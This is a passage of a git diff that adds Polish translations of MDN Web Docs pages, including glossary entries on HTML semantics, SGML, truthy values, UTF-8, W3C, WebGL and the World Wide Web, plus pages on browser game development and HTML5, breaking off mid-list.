+<p>Załóżmy, że chcesz ostylować listę <code>li</code> elementów reprezentującą różne owoce. Zwróć uwagę na to, czy wiedziałbyć do której części DOM jest odnosi się selektor <code>div &gt; ul &gt; li</code> lub <code>.fruits__item</code>.</p>
+
+<h2 id="Semantyka_w_języku_HTML">Semantyka w języku HTML</h2>
+
+<p>W języku HTML, element semantyczny {{htmlelement("h1")}}, nadaje rolę (lub znaczenie) napisowi pomiędzy znacznikami: "najważniejszy nagłówek na twojej stronie"</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;To jest najważniejszy nagłówek&lt;/h1&gt;</pre>
+
+<p>Domyślnie, większość przeglądarek <a href="/en-US/docs/Web/CSS/Cascade#User-agent_stylesheets">ostylowuje</a> element {{htmlelement("h1")}} dużą czcionką by <em>wyglądał </em>jak nagłówek (jednak możesz go ostylować jak chcesz).</p>
+
+<p>Z drugiej strony, możesz dowolny element możesz ostylować tak by <em>wyglądał </em>jak nagłówek. Tak jak poniżej:</p>
+
+<pre class="brush: html notranslate">&lt;span style="font-size: 32px; margin: 21px 0;"&gt;Czy to jest najważniejszy nagłówek?&lt;/span&gt;</pre>
+
+<p>Powyższy element będzie wyglał jak najważniejszy nagłówek, nie ma wartości semantycznej. Dlatego najlepiej używać elementów HTML zgodnie z ich przeznaczeniem.</p>
+
+<p>Kod HTML powinien reprezentować <em>dane </em>i nie być oparty na domyślnym stylowaniu. Prezentacja (czyli jak powinny one wyglądać) to zadanie wyłącznie języka <a href="/en-US/docs/Web/CSS">CSS</a>.</p>
+
+<p>Poniżej przedstawiono niektóre zalety poprawnego stosowania semantycznych znaczników:</p>
+
+<ul>
+ <li>Wyszukiwarki będą rozpoznawały zawartość jako ważne słowa kluczowe co wpłynie na ranking stron i zasięg strony (zobacz {{glossary("SEO")}})</li>
+ <li>Czytniki będą mogły używać ich jako wskazówek pomagając osobom z pewnymi niepełnosprawnościami wzrokowymi poruszać się po stronie</li>
+ <li>Poruszanie po kodzie z wymownymi nazwami znaczników będzie znacznie łatwiejsze</li>
+ <li>Sugeruje typ zawartości, która ma się znaleźć między znacznikami</li>
+</ul>
+
+<p>Gdy zastanawiasz się, który znacznik należy użyć, zapytaj się, "Który element najlepiej określa/reprezentuje zawartość, którą chcę podać?". Na przykład: Czy to lista ponumerowana czy nie? Czy to artykuł podzielony na sekcję i częścią boczną? Czy to lista definicji? Czy to powinno mieć własny nagłówek? Czy ten obrazek potrzebuje podpisu? itp.</p>
+
+<h2 id="Elementy_semantyczne">Elementy semantyczne</h2>
+
+<p>Oto <em>niektóre </em>z około 100 <a href="/en-US/docs/Web/HTML/Element">elementów</a> semantycznych:</p>
+
+<ul>
+ <li>{{htmlelement("article")}}</li>
+ <li>{{htmlelement("aside")}}</li>
+ <li>{{htmlelement("details")}}</li>
+ <li>{{htmlelement("figcaption")}}</li>
+ <li>{{htmlelement("figure")}}</li>
+ <li>{{htmlelement("footer")}}</li>
+ <li>{{htmlelement("header")}}</li>
+ <li>{{htmlelement("main")}}</li>
+ <li>{{htmlelement("mark")}}</li>
+ <li>{{htmlelement("nav")}}</li>
+ <li>{{htmlelement("section")}}</li>
+ <li>{{htmlelement("summary")}}</li>
+ <li>{{htmlelement("time")}}</li>
+</ul>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element#Inline_text_semantics">HTML element reference</a> on MDN</li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines#Problems_solved_by_HTML5">Using HTML sections and outlines</a> on MDN</li>
+ <li>{{interwiki("wikipedia", "Semantics#Computer_science", "The meaning of semantics in computer science")}} on Wikipedia</li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ul>
+ <li><a href="/en-US/docs/Glossary">MDN Web Docs Glossary</a>
+
+ <ul>
+ <li>{{Glossary("SEO")}}</li>
+ </ul>
+ </li>
+ <li>Some of semantic elements in HTML
+ <ul>
+ <li>{{htmlelement("article")}}</li>
+ <li>{{htmlelement("aside")}}</li>
+ <li>{{htmlelement("details")}}</li>
+ <li>{{htmlelement("figcaption")}}</li>
+ <li>{{htmlelement("figure")}}</li>
+ <li>{{htmlelement("footer")}}</li>
+ <li>{{htmlelement("header")}}</li>
+ <li>{{htmlelement("main")}}</li>
+ <li>{{htmlelement("mark")}}</li>
+ <li>{{htmlelement("nav")}}</li>
+ <li>{{htmlelement("section")}}</li>
+ <li>{{htmlelement("summary")}}</li>
+ <li>{{htmlelement("time")}}</li>
+ </ul>
+ </li>
+</ul>
+</section>
diff --git a/files/pl/glossary/sgml/index.html b/files/pl/glossary/sgml/index.html
new file mode 100644
index 0000000000..6036e873ff
--- /dev/null
+++ b/files/pl/glossary/sgml/index.html
@@ -0,0 +1,20 @@
+---
+title: SGML
+slug: Glossary/SGML
+tags:
+ - CodingScripting
+ - Composing
+ - Glossary
+ - SGML
+translation_of: Glossary/SGML
+---
+<p><em>Standard Generalized Markup Language</em> (<strong>SGML</strong>) jest specyfikacją {{Glossary("ISO")}} służącą do definiowania deklaratywnych języków znaczników.</p>
+
+<p>W sieci, {{Glossary("HTML")}} 4, {{Glossary("XHTML")}} i {{Glossary("XML")}} są popularnymi językami opartymi na SGML. Warto zauważyć, że od piątej edycji HTML nie jest już oparty na SGML i ma własne reguły parsowania.</p>
+
+<h2 id="Dowiedz_się_więcej">Dowiedz się więcej</h2>
+
+<ul>
+ <li><a href="https://pl.wikipedia.org/wiki/SGML">SGML</a> na Wikipedii</li>
+ <li><a href="http://www.isgmlug.org/">Wprowadzenie do SGML</a></li>
+</ul>
diff --git a/files/pl/glossary/slug/index.html b/files/pl/glossary/slug/index.html
new file mode 100644
index 0000000000..e56c89ccc9
--- /dev/null
+++ b/files/pl/glossary/slug/index.html
@@ -0,0 +1,15 @@
+---
+title: Slug
+slug: Glossary/Slug
+translation_of: Glossary/Slug
+---
+<p><span class="seoSummary">Slug to unikalna część identyfikująca adres internetowy, zazwyczaj na końcu adresu URL. W konteście MDN, jest to część URL następująca po "<em>&lt;locale&gt;/docs/</em>".</span></p>
+
+<p><span class="tlid-translation translation"><span title="">Może to być również ostatni składnik, gdy nowy dokument zostanie utworzony w dokumencie nadrzędnym</span></span>;<br>
+ Na przykład, slug tej strony to: <code>Glossary/Slug</code> .</p>
+
+<h2 id="Zobacz_też">Zobacz też:</h2>
+
+<ul>
+ <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Writing_style_guide#Choosing_titles_and_slugs">Wybór tytułów i slug'ów</a></li>
+</ul>
diff --git a/files/pl/glossary/truthy/index.html b/files/pl/glossary/truthy/index.html
new file mode 100644
index 0000000000..9c38aa1f49
--- /dev/null
+++ b/files/pl/glossary/truthy/index.html
@@ -0,0 +1,34 @@
+---
+title: Prawda (ang. truthy)
+slug: Glossary/Truthy
+tags:
+ - JavaScript
+ - Słownik
+translation_of: Glossary/Truthy
+---
+<p>W {{Glossary("JavaScript")}}, <strong>prawda</strong> jest wartością uważaną za prawdziwą, w  kontekście {{Glossary("Wyrażenie logiczne", "wyrażenia logicznego")}}, reprezentowaną przez wartość wbudowaną <code>true</code>. Z definicji, <strong>prawdziwe są wszystkie wartości, z wyjątkiem tych, które są zdefiniowane jako  {{Glossary("Nieprawda", "nieprawdziwe")}}</strong> (czyli <code>false</code>, <code>0</code>, <code>""</code>, <code>null</code>, <code>undefined</code> i <code>NaN</code>).</p>
+
+<p>{{Glossary("JavaScript")}} używa {{Glossary("Type_Conversion", "konwersji typów")}} w kontekście logicznym.</p>
+
+<p>Przykładami wartości <em>prawdziwych</em> w JavaScript (które będą przetłumaczone na wbudowaną wartość <code>true</code> i wykonane w bloku <code>if</code>) są:</p>
+
+<pre class="brush: js">if (true)
+if ({})
+if ([])
+if (42)
+if ("foo")
+if (new Date())
+if (-42)
+if (3.14)
+if (-3.14)
+if (Infinity)
+if (-Infinity)
+</pre>
+
+<h2 id="Zobacza_też">Zobacza też</h2>
+
+<ul>
+ <li>{{Glossary("Nieprawda")}}</li>
+ <li>{{Glossary("Type_Conversion", "Konwersja typów")}}</li>
+ <li>{{Glossary("Wyrażenie logiczne")}}</li>
+</ul>
diff --git a/files/pl/glossary/utf-8/index.html b/files/pl/glossary/utf-8/index.html
new file mode 100644
index 0000000000..546a8dc038
--- /dev/null
+++ b/files/pl/glossary/utf-8/index.html
@@ -0,0 +1,23 @@
+---
+title: UTF-8
+slug: Glossary/UTF-8
+tags:
+ - CodingScripting
+ - Glossary
+ - HTML
+ - JavaScript
+ - Utf-8
+translation_of: Glossary/UTF-8
+---
+<p>UTF-8 (Format Transformacji UCS 8) to najpopularniejsze {{Glossary("Character encoding", "kodowanie znaków")}} w sieci WWW. Każdy znak jest reprezentowany przez jeden do czterech bajtów. UTF-8 jest wstecznie kompatybilny z {{Glossary("ASCII")}} i może reprezentować dowolny standardowy znak Unicode.</p>
+
+<p>Pierwsze 128 znaków UTF-8 dokładnie odpowiada pierwszym 128 znakom ASCII  (numerowanym 0-127), co oznacza, że istniejący tekst ASCII jest zgodny z UTF-8. Wszystkie pozostałe znaki używają od dwóch do czterech bajtów. Każdy bajt ma kilka bitów zarezerwowanych do celów kodowania. Ponieważ znaki nie-ASCII wymagają do przechowywania więcej niż jednego bajtu, istnieje ryzyko ich uszkodzenia, jeżeli bajty są rozdzielone i nie są ponownie łączone.</p>
+
+<h2 id="Dowiedz_się_więcej" style="line-height: 18px; font-size: 1.28571rem;"><strong style="font-size: 1.71428571428571rem;">Dowiedz się więcej</strong></h2>
+
+<h3 id="Wiedza_ogólna"><strong>Wiedza ogólna</strong></h3>
+
+<ul>
+ <li><a href="https://pl.wikipedia.org/wiki/UTF-8">UTF-8</a> na Wikipedii</li>
+ <li><a href="http://www.unicode.org/faq/utf_bom.html#UTF8">Często zadawane pytania dotyczące UTF-8 na stronie Unicode</a></li>
+</ul>
diff --git a/files/pl/glossary/w3c/index.html b/files/pl/glossary/w3c/index.html
new file mode 100644
index 0000000000..663b383e4c
--- /dev/null
+++ b/files/pl/glossary/w3c/index.html
@@ -0,0 +1,26 @@
+---
+title: W3C
+slug: Glossary/W3C
+tags:
+ - Community
+ - Consortium
+ - Glossary
+ - Intro
+ - W3C
+ - Web consortium
+translation_of: Glossary/W3C
+---
+<p><em>World Wide Web Consortium</em> (W3C) jest międzynarodową organizacją, która utrzymuje zasady i ramy związane z {{Glossary("World Wide Web", "Internetem")}}.</p>
+
+<p>Składa się z ponad 350 organizacji członkowskich, które wspólnie opracowują standardy sieciowe, uruchamiają programy informacyjne i utrzymują otwarte forum do rozmów o sieci. W3C koordynuje firmy z branży, aby upewnić się, że wdrażają te same standardy W3C.</p>
+
+<p>Każdy standard przechodzi przez cztery etapy dojrzałości: Working Draft (WD), Candidate Recommendation (CR), Proposed Recommendation (PR) i W3C Recommendation (REC).</p>
+
+<h2 id="Dowiedz_się_więcej">Dowiedz się więcej</h2>
+
+<h3 id="Wiedza_ogólna" style="line-height: 24px;">Wiedza ogólna</h3>
+
+<ul>
+ <li><a href="http://www.w3.org/">Strona internetowa W3C</a></li>
+ <li><a href="https://pl.wikipedia.org/wiki/World_Wide_Web_Consortium">W3C</a> na Wikipedii</li>
+</ul>
diff --git a/files/pl/glossary/webgl/index.html b/files/pl/glossary/webgl/index.html
new file mode 100644
index 0000000000..2916136704
--- /dev/null
+++ b/files/pl/glossary/webgl/index.html
@@ -0,0 +1,34 @@
+---
+title: WebGL
+slug: Glossary/WebGL
+tags:
+ - Słownik
+ - WebGL
+ - grafika webowa
+ - kodowanie skryptowe
+ - zaawansowane
+translation_of: Glossary/WebGL
+---
+<p><strong>WebGL</strong> (<em>Web Graphics Library</em>) jest {{Glossary("JavaScript")}} {{Glossary("API")}}, które umożliwia tworzenie interaktywnych grafik 2D oraz 3D.</p>
+
+<p><a href="https://www.khronos.org/">Khronos Group</a> czuwa nad WebGL, którego bazę stanowi {{Glossary("OpenGL")}} ES 2.0.</p>
+
+<p>WebGL można wywoływać poprzez element {{Glossary("HTML")}} {{HTMLElement("canvas")}}, który zapewnia przestrzeń do renderowania.</p>
+
+<p>Wszystkie współczesne {{Glossary("Browser","browsers")}} aktualnie wspierają WebGL, ale jego dostępność jest zależna również od zewnętrznych czynników (np. wparcie GPU).</p>
+
+<h2 id="Więcej_informacji">Więcej informacji</h2>
+
+<h3 id="Informacje_ogólne" style="line-height: 24px;">Informacje ogólne</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "WebGL")}} na Wikipedii</li>
+ <li><a href="http://get.webgl.org/">Sprawdź wsparcie WebGL</a></li>
+</ul>
+
+<h3 id="Artykuły_techniczne" style="line-height: 24px;">Artykuły techniczne</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/WebGL">WebGL na MDN</a></li>
+ <li><a href="http://caniuse.com/#feat=webgl">Tabela wsparcia dla WebGL</a></li>
+</ul>
diff --git a/files/pl/glossary/world_wide_web/index.html b/files/pl/glossary/world_wide_web/index.html
new file mode 100644
index 0000000000..86cb98d7d4
--- /dev/null
+++ b/files/pl/glossary/world_wide_web/index.html
@@ -0,0 +1,41 @@
+---
+title: World Wide Web
+slug: Glossary/World_Wide_Web
+tags:
+ - Glossary
+ - Infrastructure
+ - WWW
+ - World Wide Web
+translation_of: Glossary/World_Wide_Web
+---
+<p><em>World Wide Web</em>—powszechnie nazywane <strong>WWW</strong>, <strong>W3</strong> lub <strong>Sieć Web</strong>—jest połączonym systemem publicznych stron internetowych dostępnych przez {{Glossary("Internet")}}. Sieć Web nie jest taka sama jak Internet: Sieć jest tylko jedną z wielu aplikacji zbudowanych na szczycie Internetu.</p>
+
+<p>Tim Berners-Lee zaproponował architekturę tego, co stało się znane jako World Wide Web. W 1990 roku w laboratorium CERN-u stworzył pierwszy {{Glossary("Server","serwer WWW")}}, {{Glossary("Browser","przeglądarkę internetową")}} i stronę internetową na swoim komputerze. W 1991 r. ogłosił swoje dzieło w grupie dyskusyjnej alt.hypertext, zaznaczając moment, w którym zostało po raz pierwszy upublicznione.</p>
+
+<p>System, który dziś znamy jako "Web" składa się z kilku komponentów:</p>
+
+<ul>
+ <li>Protokół <strong>{{Glossary("HTTP")}}</strong> reguluje transfer danych pomiędzy serwerem a klientem.</li>
+ <li>Aby uzyskać dostęp do komponentu sieciowego, klient dostarcza unikalny uniwersalny identyfikator, zwany <strong>{{Glossary("URL")}}</strong> (ang. uniform resource location - jednolita lokalizacja zasobów) lub {{Glossary("URI")}} (ang. uniform resource identifier - jednolity identyfikator zasobów) (formlanie zwany Universal Document Identifier (UDI)).</li>
+ <li><strong>{{Glossary("HTML")}}</strong> (hipertekstowy język znaczników) jest najpopularniejszym formatem publikacji dokumentów internetowych.</li>
+</ul>
+
+<p>Linkowanie, czy łączenie zasobów poprzez {{Glossary("Hyperlink","hiperłącza")}}, jest definiowaną koncepcją Sieci Web, wspomagającą jej tożsamość jako zbioru powiązanych ze sobą dokumentów.</p>
+
+<p>Wkrótce po wynalezieniu sieci Web, Tim Berners-Lee założył {{Glossary("W3C")}} (World Wide Web Consortium) w celu dalszej standaryzacji i rozwoju sieci. Konsorcjum to składa się z głównym grup interesu internetowego, takich jak programiści przeglądarek internetowych, jednostki rządowe, naukowcy i uniwersytety. Jego misja obejmuje edukację i działania informacyjne.</p>
+
+<h2 id="Dowiedz_się_więcej" style="line-height: 30px;">Dowiedz się więcej</h2>
+
+<h3 id="Poczytaj_o_tym">Poczytaj o tym</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/pl/docs/Learn">Poznaj Sieć Web</a></li>
+ <li><a href="https://learning.mozilla.org/web-literacy">Mapa umiejętności</a> (wykaz umiejętności potrzebnych do rozwoju Internetu)</li>
+</ul>
+
+<h3 id="Wiedza_ogólna" style="line-height: 24px;">Wiedza ogólna</h3>
+
+<ul>
+ <li><a href="https://pl.wikipedia.org/wiki/World_Wide_Web">World Wide Web</a> na Wikipedii</li>
+ <li><a href="http://w3.org">Strona internetowa W3C</a></li>
+</ul>
diff --git a/files/pl/gry/index.html b/files/pl/gry/index.html
new file mode 100644
index 0000000000..cd9a3cdb47
--- /dev/null
+++ b/files/pl/gry/index.html
@@ -0,0 +1,84 @@
+---
+title: Tworzenie gier
+slug: Gry
+translation_of: Games
+---
+<div>{{GamesSidebar}}</div>
+
+<div class="summary">
+<p><span class="seoSummary">Granie w gry od lat należy do naszych najczęstszych aktywności komputerowych. Stale pojawiają się nowe technologie umożliwiające tworzenie lepszych i potężniejszych gier przeglądarkowch.</span></p>
+</div>
+
+<div>{{EmbedGHLiveSample("web-tech-games/index.html", '100%', 820)}}</div>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Twórz_gry_przeglądarkowe.">Twórz gry przeglądarkowe.</h2>
+
+<p>Witaj w strefie rozwoju gier MDN. W tej części strony możesz znaleźć informacje, które pozwolą ci poznać narzędzia i techniki wykorzystywane do produkcji gier przeglądakrowych. </p>
+
+<div class="note">
+<p><strong style="border: 0px; color: #3b3c40; font-family: 'open sans',arial,sans-serif; font-size: 14px; font-style: normal; font-weight: 700; letter-spacing: normal; margin: 0px; padding: 0px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;">Notka</strong><span style="background-color: #fff5cc; color: #3b3c40; font-family: 'open sans',arial,sans-serif; font-size: 12px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;">: Tworzenie gier bazuje na kilku głównych technologiach internetowych takich jak HTML, CSS i JavaScript. </span><a href="/en-US/docs/Learn" style="font-size: 12px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; color: rgb(33, 122, 192); text-decoration: none; margin: 0px; padding: 0px; border: 0px; font-family: 'open sans', arial, sans-serif;">Learning Area</a><span style="background-color: #fff5cc; color: #3b3c40; font-family: 'open sans',arial,sans-serif; font-size: 12px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;"> jest doskonałym miejscem do poznania ich podstaw.</span></p>
+</div>
+</div>
+
+<div class="column-half">
+<h2 id="Przenieś_natywne_gry_do_internetu.">Przenieś natywne gry do internetu.</h2>
+
+<p>Jeśli jesteś programistą aplikacji natywnych (na przykład tworzysz gry w C++) i zastanawiasz się jak przenieść swoje aplikacje do internetu, powinieneś zapoznać się z narzędziem <a href="http://kripken.github.io/emscripten-site/index.html">Emscripten</a> — kompilatorem LLVM do JavaScript, który który kompiluje kod bajtowy do kodu <a href="/en-US/docs/Games/Tools/asm.js">asm.js</a>.</p>
+
+<p>Na początek sprawdź:</p>
+
+<ul>
+ <li><a href="http://kripken.github.io/emscripten-site/docs/introducing_emscripten/about_emscripten.html">Wprowadzenie do Emscripten</a> zawierające przydatne szczegóły.</li>
+ <li><a href="http://kripken.github.io/emscripten-site/docs/getting_started/downloads.html">Instalacja narzędzi</a> niezbędnych do używania Emscipten.</li>
+ <li><a href="http://kripken.github.io/emscripten-site/docs/getting_started/Tutorial.html">Tutorial Emscripten</a>, dzięki któremu dowiesz się jak zacząć.</li>
+</ul>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>Zapraszamy do zapoznania się z <a href="/en-US/docs/Games/Examples">przykładami</a>. Więcej informacji i przykładów najdziesz na <a href="http://www.openwebgames.com/">openwebgames.com</a>.</p>
+</div>
+</div>
+
+<p><a href="http://www.openwebgames.com"><img alt="" src="https://mdn.mozillademos.org/files/12790/owg-logo-dark.svg" style="display: block; margin: 0px auto; width: 400px;"></a></p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="http://buildnewgames.com/">Build New Games</a></dt>
+ <dd>Kolaboratywna strona z wieloma przykładami tworzenia i rozwoju gier internetowych. Ostatnio niezbyt aktywna, lecz nadal stanowi swietne źródło informacji.</dd>
+ <dt><a href="http://creativejs.com/">Creative JS</a></dt>
+ <dd>Kolekcja przydatnych technik i trików z dziedziny JavaScript. Mimo , że nie odnosi się wyłącznie do tworzenia gier internetwoych, jest doskonałbym źródłem wiedzy.</dd>
+ <dt><a href="http://gameprogrammingpatterns.com/">Game programming patterns</a></dt>
+ <dd>Książka internetowa napisana przez Bob 'a Nystrom'a, w której autor omawia programistyczne wzorce projektowe w oparciu o rozwój gier internetowych.</dd>
+ <dt><a href="http://gamedevjsweekly.com/">Gamedev.js Weekly</a></dt>
+ <dd>Tygodniowy biuletyn na temat tworzenia gier w HTML5, rozsyłany w każdy piątek. Zawiera najnowsze informacje, artykuły i poradniki.</dd>
+ <dt><a href="http://www.html5gamedevs.com/">HTML5 Game Devs Forum</a></dt>
+ <dd>Forum dla programistów zajmujących się rozwojem gier internetowych. </dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="http://html5gameengine.com/">HTML5 Game Engine</a></dt>
+ <dd>Lista najpopularniejszych platform programistycznych do rozwoju gier w HTML5 wraz z opisami, ocenami oraz przykładami. </dd>
+ <dt><a href="http://www.jsbreakouts.org/">JSBreakouts</a></dt>
+ <dd>Gra Breakout stworzona w oparciu o napopularniejsze platformy programistyczne do tworzenia gier w HTML5 dającea możliwość porównania i wyboru optymalnego narzędzia.</dd>
+ <dt><a href="http://gamedevelopment.tutsplus.com/">Tuts+ Game Development</a></dt>
+ <dd>Artykuły i tutoriale dotyczące rozwoju gier.</dd>
+ <dt><a href="http://html5devstarter.enclavegames.com/">HTML5 Gamedev Starter</a></dt>
+ <dd>Lista przydatnych linków do różnego typu źródeł wiedzy na temat gier HTML5.</dd>
+ <dt><a href="http://js13kgames.com/">js13kGames</a></dt>
+ <dd>Zawody w tworzeniu gier HTML5 o rozmiarze do 13 KB. Na stornie wiele przykładowych gier.</dd>
+ <dt><a href="https://hacks.mozilla.org/category/games/">Mozilla Hacks blog</a></dt>
+ <dd>Strefa gier na Mozilla Hacks blog zawierająca przydatne artykuły.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/pl/html/html5/index.html b/files/pl/html/html5/index.html
new file mode 100644
index 0000000000..77e7775ce2
--- /dev/null
+++ b/files/pl/html/html5/index.html
@@ -0,0 +1,172 @@
+---
+title: HTML5
+slug: HTML/HTML5
+tags:
+ - CSS3
+ - HTML
+ - HTML 5
+translation_of: Web/Guide/HTML/HTML5
+---
+<p><span class="seoSummary"><strong>HTML5</strong> jest najnowszą wersją standardu opisującego język <a href="/pl/docs/HTML" title="HTML">HTML</a>. </span>Termin ten możemy zdefiniować na dwa sposoby:</p>
+
+<ul>
+ <li><span class="seoSummary">Jest to nowa wersja <em>języka</em> HTML, zawierająca nowe elementy, atrybuty i zachowania,</span></li>
+ <li><span class="seoSummary">większy zestaw technologii, które pozwala na bardziej różnorodne i potężne tworzenie stron i aplikacji internetowych.</span> Zestaw ten czasem nazywamy <em>HTML5 &amp; friends</em>, jednak często skracamy do nazwy po prostu <em>HTML5</em>.</li>
+</ul>
+
+<p>Zawarta poniżej treść przeznaczona jest do zastosowania przez wszystkich programistów, strona zawiera dużo informacji na temat technologii HTML5, która została opisana w kilku grupach podzielonych według ich funkcji.</p>
+
+<ul>
+ <li><em>Semantyka</em>: pozwala na bardziej precyzyjne opisanie zawartości.</li>
+ <li><em>Komunikacja</em>: pozwala w sposób nowoczesny na komunikację z serwerem.</li>
+ <li><em>Offline &amp; Storage</em>: pozwala stronom internetowym na bardziej efektywne przechowywanie danych lokalnie i w trybie offline.</li>
+ <li><em>Multimedia</em><strong>: odtwarzanie plików audio i wideo bezpośrednio z przeglądarki.</strong></li>
+ <li><em>Efekty i Grafika 2D/3D</em>: pozwala w znacznie bardziej zróżnicowany sposób prezentować możliwości stron lub aplikacji internetowych.</li>
+ <li><em>Wydajność &amp; Integracja</em>: zapewnia większą prędkość i lepszą optymalizację wykorzystania sprzętu komputerowego.</li>
+ <li><em>Dostęp do urządzenia</em><strong>: zastosowanie w wielu urządzeniach wejścia i wyjścia.</strong></li>
+ <li><em>Style</em>: pozwala autorom na tworzenie ładniejszych motywów.</li>
+</ul>
+
+<div class="cleared row topicpage-table">
+<h2 id="Semantyka" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3827/HTML5_Semantics_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Semantyka</h2>
+
+<dl>
+ <dt><a href="/pl/docs/Web/Guide/HTML/Sekcje_oraz_konspekt_dokumentu_HTML5" title="Elementy sekcji stosowane w dokumencie HTML5">Elementy sekcji zawarte w dokumencie HTML5</a></dt>
+ <dd>Poznaj nowe elementy przedstawiające sekcje dokumentu wprowadzone do HTML5: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}} i {{HTMLElement("aside")}}.</dd>
+ <dt><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using_audio_and_video_in_Firefox">Zastosowanie elementów audio i video</a></dt>
+ <dd>Elementy {{HTMLElement("audio")}} i {{HTMLElement("video")}} pozwalają zagnieżdżać i zarządzać zawartością multimediów.</dd>
+ <dt><a href="/en-US/docs/HTML/Forms_in_HTML" title="Formularze w HTML5">Formularze w HTML5</a></dt>
+ <dd>Spojrzenie na ulepszenia formularzy sieciowych w HTML5: wymuszenie poprawności API, kilka nowych atrybutów, nowe wartości dla atrybutów {{HTMLElement("input")}} {{htmlattrxref("type", "input")}} i nowego elementu {{HTMLElement("output")}}.</dd>
+ <dt>Nowe <span style="line-height: 1.5;">semantyczne </span><span style="line-height: 1.5;">elementy </span></dt>
+ <dd>Obok sekcji, elementów mediów i formularzy, są liczne, nowe elementy takie jak: {{HTMLElement("mark")}}, {{HTMLElement("figure")}}, {{HTMLElement("figcaption")}}, {{HTMLElement("data")}}, {{HTMLElement("time")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, lub {{HTMLElement("meter")}} i {{HTMLElement("main")}}, zwiększenie ilości <a href="/pl/docs/Web/HTML/Element" title="HTML/HTML5/HTML5_element_list">elementów poprawności HTML 5</a>.</dd>
+ <dt>Ulepszenia w {{HTMLElement("iframe")}}</dt>
+ <dd>Używając atrybutów {{htmlattrxref("sandbox", "iframe")}}, {{htmlattrxref("seamless", "iframe")}} i {{htmlattrxref("srcdoc", "iframe")}} , autorzy mogą teraz precyzyjniej określać poziom bezpieczeństwa i pożądane wyświetlanie elementów {{HTMLElement("iframe")}}.</dd>
+ <dt><a href="/en-US/docs/MathML" title="MathML">MathML</a></dt>
+ <dd>Pozwala na bezpośrednie umieszczanie formuł matematycznych.</dd>
+ <dt><a href="/en-US/docs/HTML/HTML5/Introduction_to_HTML5" title="HTML/HTML5/Introduction_to_HTML5">Wprowadzenie do HTML5</a></dt>
+ <dd>Ten artykuł pokazuje jak przekazać przeglądarce, że używasz HTML 5 na swojej stronie internetowej lub w aplikacji.</dd>
+ <dt><a href="/en-US/docs/HTML/HTML5/HTML5_Parser" title="HTML/HTML5/HTML5 parser">Parser zgodny z HTML5</a></dt>
+ <dd>Parser, który przetwarza dokument HTML na DOM, został rozszerzony i teraz precyzyjnie definiuje zachowanie we wszystkich przypadkach, nawet w wypadku niepoprawnego HTML-a. To prowadzi do znacznie większej przewidywalności zachowania strony i współpracy między przeglądarkami zgodnymi z HTML 5.</dd>
+</dl>
+
+<h2 id="Połączenia" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3839/HTML5_Connectivity_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Połączenia</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/WebSockets" title="WebSockets">Web Sockets (dwukierunkowa komunikacja z serwerem)</a></dt>
+ <dd>Pozwala tworzyć stabilne połączenie pomiędzy stroną i serwerem, i  wymieniać nie-HTML-owe dane.</dd>
+ <dt><a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="Server-sent_events/Using_server-sent_events">Server-Sent Events (zdarzenia wysłane przez serwer)</a></dt>
+ <dd>Pozwala serwerowi na "własnowolne" wysyłanie zdarzeń do klienta, inaczej niż w przypadku klasycznego paradygmatu, w którym serwer mógł wysyłać dane tylko w odpowiedzi na zapytanie klienta.</dd>
+ <dt><a href="/en-US/docs/WebRTC" title="WebRTC">WebRTC</a></dt>
+ <dd>Ta technologia, w której RTC oznacza Komunikację Czasu Rzeczywistego(Real-Time Communication), pozwala na łączenie się z innymi i kontrolowanie wideokonferencji bezpośrednio z przeglądarki, bez potrzeby korzystania z wtyczek lub zewnętrznych aplikacji.</dd>
+</dl>
+
+<h2 id="Tryb_Offline_i_przechowywanie" style="margin: 0pt 0pt 0.25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;"><img alt="" src="/files/3833/HTML5_Offline_Storage_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Tryb Offline i przechowywanie</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/HTML/Using_the_application_cache" title="Offline_resources_in_Firefox">Zasoby offline: pamięć cache aplikacji</a></dt>
+ <dd>Firefox w pełni wspiera specyfikację zasobów offline HTML5. Większość innych przeglądarek wspiera ją w podobnym stopniu.</dd>
+ <dt><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Zdarzenia online i offline</a></dt>
